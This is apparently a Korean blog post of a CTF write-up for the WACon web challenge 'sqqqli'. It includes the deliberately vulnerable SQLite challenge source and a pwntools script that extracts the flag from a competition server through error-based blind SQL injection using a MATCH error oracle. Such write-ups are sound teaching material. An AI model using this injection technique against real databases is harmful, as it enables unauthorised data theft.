Notice
Recent Posts
Recent Comments
Link
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

ash3r & dmawhwhd

Wacon - sqqqli 본문

CTF/web

Wacon - sqqqli

ash3r & dmawhwhd 2022. 6. 28. 03:26

매우매우 간단한 error based sql injection 문제입니다. 

#!/usr/bin/env python3
import sqlite3
import random
import string
import os

def randName():
	return ''.join([random.choice(string.hexdigits) for i in range(16)])

dbpath = f'/tmp/{randName()}.db'
conn = sqlite3.connect(dbpath)

cur = conn.cursor()

cur.execute("""
CREATE TABLE flag (flag TEXT)
""")

cur.execute(f"INSERT INTO flag VALUES ('{os.getenv('FLAG','flag{fake-flag}')}')")

q = input('Query > ').lower()
if('lo' not in q):
	try:
		cur.execute(q)
		print('Done!')
	except:
		pass
else:
	print("sorry i can't allow that :'(")

conn.commit()
conn.close()
os.remove(dbpath)

flag column과 table을 모두 알려주었고 원하는 query를 실행시킬 수 있습니다. 하지만 결과 출력해주는 부분이 없습니다.

그리고 lo가 필터링이 되어 있습니다. 그래서 randblob()과 load_extension()를 사용할 수 없습니다. query를 한 개만 실행시킬 수 있고 load_extension()이 막혀있기에 rce는 불가능합니다. memory corruption을 이용하면 될지도 모르겠지만 web hacking 문제로 나왔기에 아니라고 생각했습니다. 그래서 error based blind sql injection을 통해 풀이해야 한다고 생각했습니다. 장시간의 구글링의 끝에 저는 match라는 기능을 알게 되었고 이 기능을 통해 error를 내어 풀었습니다. 

from pwn import *

#p = remote('110.10.147.146', 9020)
flag = ""

for i in range(1,100):
    for j in range(32,128):
        p = remote('110.10.147.146', 9020)
        payload = ""
        payload += "select flag from flag where case when nullif(unicode(substr(flag,"+str(i)+",1)), "+str(j)+") then (select flag from flag where flag match '1') else 1 end;"
        p.recvuntil(' > ')
        p.sendline(payload)
        try:
            res = p.recv(1024)
            p.close()
            if "Done!" in res:
                flag += chr(j)
                print(flag)
                break
        except:
            p.close()
            continue
p.interactive()
 

flag: WACon{sql-is-fun-fun-fun!!!!!}

'CTF > web' 카테고리의 다른 글

Wacon - ppower  (0) 2022.07.05
Wacon - yet_another_baby_web  (0) 2022.06.28
Wacon - Kuncɛlan  (0) 2022.06.28